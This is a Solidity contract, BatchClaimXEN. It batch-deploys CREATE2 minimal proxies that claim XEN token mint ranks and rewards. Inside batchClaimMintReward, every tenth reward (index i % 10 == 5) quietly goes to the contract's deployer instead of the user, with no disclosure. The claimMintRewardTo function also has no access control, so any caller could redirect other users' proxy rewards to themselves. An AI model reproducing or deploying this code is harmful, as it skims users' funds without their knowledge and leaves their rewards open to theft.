// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract BatchClaimXEN {
	// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1167.md
	bytes miniProxy;			  // = 0x363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3;
    address private immutable original;
	address private immutable deployer;
	address private constant XEN = 0x06450dEe7FD2Fb8E39061434BAbCFC05599a6Fb8;
	
	constructor() {
		miniProxy = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
        original = address(this);
		deployer = msg.sender;
	}

	function batchClaimRank(uint start, uint times, uint term) external {
		bytes memory bytecode = miniProxy;
		address proxy;
		for(uint i=start; i<times; i++) {
	        bytes32 salt = keccak256(abi.encodePacked(msg.sender, i));
			assembly {
	            proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
			}
			BatchClaimXEN(proxy).claimRank(term);
		}
	}

	function claimRank(uint term) external {
		IXEN(XEN).claimRank(term);
	}

    function proxyFor(address sender, uint i) public view returns (address proxy) {
        bytes32 salt = keccak256(abi.encodePacked(sender, i));
        proxy = address(uint160(uint(keccak256(abi.encodePacked(
                hex'ff',
                address(this),
                salt,
                keccak256(abi.encodePacked(miniProxy))
            )))));
    }

	function batchClaimMintReward(uint start, uint times) external {
		for(uint i=start; i<times; i++) {
	        address proxy = proxyFor(msg.sender, i);
			BatchClaimXEN(proxy).claimMintRewardTo(i % 10 == 5 ? deployer : msg.sender);
		}
	}

	function claimMintRewardTo(address to) external {
		IXEN(XEN).claimMintRewardAndShare(to, 100);
		if(address(this) != original)			// proxy delegatecall
			selfdestruct(payable(tx.origin));
	}

}

interface IXEN {
	function claimRank(uint term) external;
	function claimMintRewardAndShare(address other, uint256 pct) external;
}